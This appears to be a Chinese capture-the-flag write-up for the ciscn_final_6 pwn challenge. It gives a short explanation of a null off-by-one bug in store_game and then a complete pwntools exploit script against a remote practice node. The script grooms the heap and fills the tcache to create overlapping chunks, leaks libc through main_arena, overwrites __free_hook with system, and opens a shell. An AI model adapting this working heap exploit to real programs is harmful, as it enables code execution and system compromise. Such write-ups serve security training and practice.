0%

ciscn_final_6

首先,检查一下程序的保护机制

然后,我们IDA分析一下,在store_game函数里的getInput存在null off by one漏洞

常规的null off by one漏洞,只是本题逻辑复杂了一点,需要精心构造一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#coding:utf8
from pwn import*

#sh = process('./ciscn_final_6')
sh = remote('node3.buuoj.cn',27827)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']

def resume():
sh.sendlineafter('>','0')

def new_game():
sh.sendlineafter('>','1')
sh.sendlineafter("what's your name?","haivk")
sh.sendlineafter('input you ops count','0')

def load_game(index):
sh.sendlineafter('>','2')
sh.sendlineafter('index?',str(index))

def store_game(size = 0,comment = ''):
sh.sendlineafter('>','3')
if size == 0:
sh.sendafter('any comment?','N')
else:
sh.sendafter('any comment?','Y')
sh.sendlineafter('comment size?',str(size))
sh.sendafter('plz input comment',comment)

def delete_record(index):
sh.sendlineafter('>','4')
sh.sendlineafter('index?',str(index))

def show_record():
sh.sendlineafter('>','5')

#0
new_game()
store_game(0xF0,'a'*0xF0)
#1
new_game()
store_game()
#2
new_game()
store_game(0xF0,'a'*0xF0)
#3~9
for i in range(7):
new_game()
store_game(0xF0,'a'*0xF0)
#10
new_game()
store_game()
#11
new_game()
store_game()
#12
new_game()
store_game()

for i in range(3,10):
delete_record(i)

delete_record(0)
delete_record(2)
#0、2~7
for i in range(7):
new_game()
store_game(0xF0,'a'*0xF0)

delete_record(10)
#8
new_game()
store_game(0xF0,'a'*0xF0)
#9
delete_record(11)
new_game()
store_game(0xF0,'a'*0xF0)
#10
delete_record(12)
new_game()
#null off by one
store_game(0x18,'a'*0x10 + p64(0x100 + 0x20 + 0x30 + 0x20 + 0x30))
#填满tcache bin
delete_record(0)
for i in range(2,8):
delete_record(i)
#合并,形成overlap chunk
delete_record(9)
delete_record(8)
#0、2~7
for i in range(7):
new_game()
store_game(0xF0,'a'*0xF0)
#8,将glibc指针移动到下一个chunk
new_game()
store_game(0xF0,'a'*0xF0)

load_game(1)
sh.recvuntil('X:')
main_arena_xx = int(sh.recvuntil(',',drop = True))
sh.recvuntil('Y:')
main_arena_xx = main_arena_xx + (int(sh.recvuntil(';',drop = True)) << 32)
sh.sendlineafter('input you ops count','0')
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)
#9
new_game()
store_game(0x60,'/bin/sh'.ljust(0x40,'\x00') + p64(0) + p64(0x31) + p64(free_hook_addr) + '\n')
#10
#写free_hook
new_game()
store_game(0x20,p64(system_addr) + '\n')
#getshell
delete_record(9)

sh.interactive()